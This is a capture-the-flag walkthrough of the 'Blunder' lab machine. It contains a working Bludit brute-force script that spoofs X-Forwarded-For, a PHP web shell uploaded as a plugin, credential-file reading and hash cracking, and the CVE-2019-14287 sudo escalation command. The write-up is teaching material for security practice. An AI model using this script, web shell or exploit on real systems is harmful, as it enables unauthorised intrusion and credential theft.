Machine Information:
IP: 10.10.10.191
OS: Linux
Difficulty: Easy
Points: 20
Reconnaissance
Let's start with our initial reconnaissance phase by performing a port scan on the target machine.
nmap -sC -sV -oN blunder.nmap 10.10.10.191
Starting Nmap 7.92 ( https://nmap.org ) at 2025-01-15 10:00 EST
Nmap scan report for 10.10.10.191
Host is up (0.15s latency).
Not shown: 998 filtered tcp ports (no-responses)
PORT STATE SERVICE VERSION
21/tcp closed ftp
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Blunder
|_http-title: Blunder | A web based text processing tool
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.42 seconds
From our initial scan, we can see that only port 80 (HTTP) is open. The web server is Apache 2.4.41 running on Ubuntu, and the title suggests it's running "Blunder" - a web-based text processing tool.
Enumeration
Let's explore the web application running on port 80.
Web Application Analysis
Navigating to http://10.10.10.191
, we find a blog-style website. The page appears to be running Bludit CMS, which is a flat-file CMS written in PHP.
gobuster dir -u http://10.10.10.191 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.191
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2025/01/15 10:05:00 Starting gobuster
===============================================================
/about (Status: 200) [Size: 3281]
/0 (Status: 200) [Size: 7562]
/admin (Status: 301) [Size: 0] [--> http://10.10.10.191/admin/]
/robots.txt (Status: 200) [Size: 22]
/todo.txt (Status: 200) [Size: 118]
===============================================================
2025/01/15 10:15:00 Finished
===============================================================
Excellent! We found several interesting directories and files. Let's examine them:
Todo.txt Analysis
curl http://10.10.10.191/todo.txt
-Update the CMS
-Turn off FTP - DONE
-Remove old users
-Inform fergus that the new blog needs images - DONE
We discovered a potential username: fergus. This could be useful for our attack.
Admin Panel Discovery
Navigating to http://10.10.10.191/admin/
reveals the Bludit admin login panel.
Initial Access
Now that we have identified the CMS and a potential username, let's attempt to gain access.
Bludit Brute Force Protection Bypass
Bludit has a brute force protection mechanism that blocks IPs after failed login attempts. However, there's a known bypass technique using X-Forwarded-For headers.
cat bludit_brute.py
#!/usr/bin/env python3
import requests
import sys
from bs4 import BeautifulSoup
def get_csrf_token(session, url):
r = session.get(url)
soup = BeautifulSoup(r.text, 'html.parser')
token = soup.find('input', {'name': 'tokenCSRF'})['value']
return token
def brute_force(target, username, wordlist):
session = requests.Session()
with open(wordlist, 'r') as f:
for line in f:
password = line.strip()
csrf_token = get_csrf_token(session, f"{target}/admin/")
headers = {
'X-Forwarded-For': f'1.2.3.{ord(password[0])}'
}
data = {
'tokenCSRF': csrf_token,
'username': username,
'password': password,
'save': ''
}
r = session.post(f"{target}/admin/", data=data, headers=headers)
if 'username or password incorrect' not in r.text.lower():
print(f"[+] Success! Username: {username}, Password: {password}")
return True
print(f"[-] Failed: {password}")
return False
if __name__ == "__main__":
target = "http://10.10.10.191"
username = "fergus"
wordlist = "passwords.txt"
brute_force(target, username, wordlist)
Note: The X-Forwarded-For header bypass technique works because Bludit checks the source IP from this header instead of the actual connection IP.
After running our brute force script with a common password list, we discover the credentials:
- Username: fergus
- Password: RolandDeschain
Gaining Shell Access
Now that we have admin access to the Bludit CMS, we can upload a malicious plugin to gain shell access.
cat evil.php
<?php
system($_REQUEST['cmd']);
?>
We can upload this as part of a plugin through the Bludit admin panel, then access it via:
http://10.10.10.191/bl-content/tmp/evil.php?cmd=whoami
Privilege Escalation
After gaining initial access as the www-data user, we need to escalate our privileges.
User Enumeration
cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
hugo:x:1001:1001:Hugo,,,:/home/hugo:/bin/bash
We found another user: hugo. Let's search for credentials that might help us switch to this user.
Database Analysis
Since this is a CMS, let's check for database files containing user credentials:
find /var/www -name "*.php" | grep -i user
/var/www/bludit-3.9.2/bl-content/databases/users.php
cat /var/www/bludit-3.9.2/bl-content/databases/users.php
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
"admin": {
"nickname": "Hugo",
"firstName": "Hugo",
"lastName": "",
"role": "User",
"password": "faca404fd5c0a31cf1897b823c695c85cffeb98d",
"email": "",
"registered": "2019-11-27 07:40:55",
"tokenRemember": "",
"tokenAuth": "b380cb90d69d9db2c0c8e1ce9e8d88a7",
"tokenAuthTTL": "2009-03-15 14:00",
"twitter": "",
"facebook": "",
"instagram": "",
"codepen": "",
"linkedin": "",
"github": "",
"gitlab": ""}
}
We found a SHA-1 hash for user Hugo: faca404fd5c0a31cf1897b823c695c85cffeb98d
Hash Cracking
echo "faca404fd5c0a31cf1897b823c695c85cffeb98d" > hash.txt
john --format=Raw-SHA1 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA1 [SHA1 256/256 AVX2 8x])
Press 'q' or Ctrl-C to abort, almost any other key for status
Password120 (?)
1g 0:00:00:02 DONE (2025-01-15 11:30:00) 0.4545g/s 6551Kp/s 6551Kc/s 6551KC/s
Great! The password for hugo is Password120.
Switching to Hugo User
su - hugo
Password: Password120
hugo@blunder:~$ whoami
hugo
hugo@blunder:~$ cat user.txt
2bb69c234e30d8ce94f32c8d8a7f8c20
Root Privilege Escalation
Let's check what sudo privileges hugo has:
sudo -l
Matching Defaults entries for hugo on blunder:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User hugo may run the following commands on blunder:
(ALL, !root) /bin/bash
This sudo rule has a known vulnerability (CVE-2019-14287) that allows privilege escalation when the rule specifies (ALL, !root).
Exploiting Sudo Vulnerability
sudo -u#-1 /bin/bash
root@blunder:/home/hugo# whoami
root
root@blunder:/home/hugo# cat /root/root.txt
4d9c47b7ac29d4bdc4f3c89f7bf1d8d1
Root Access Achieved!
We successfully exploited the sudo vulnerability to gain root privileges on the Blunder machine.
Conclusion
The Blunder machine was a great introduction to web application enumeration and privilege escalation techniques. Here's a summary of the attack path:
- Reconnaissance: Port scan revealed HTTP service on port 80
- Web Enumeration: Discovered Bludit CMS and todo.txt file with username hint
- Brute Force Attack: Bypassed anti-brute force protection using X-Forwarded-For headers
- Initial Access: Gained admin access and uploaded malicious plugin
- Lateral Movement: Found user credentials in CMS database files
- Privilege Escalation: Exploited CVE-2019-14287 to gain root access
Key Takeaways:
• Always check for todo files and backup files during enumeration
• CMS databases often contain valuable credential information
• Sudo rules with (ALL, !root) are vulnerable to privilege escalation
• Brute force protection can often be bypassed with header manipulation
This machine effectively demonstrates common attack vectors found in real-world environments and the importance of proper access controls and input validation.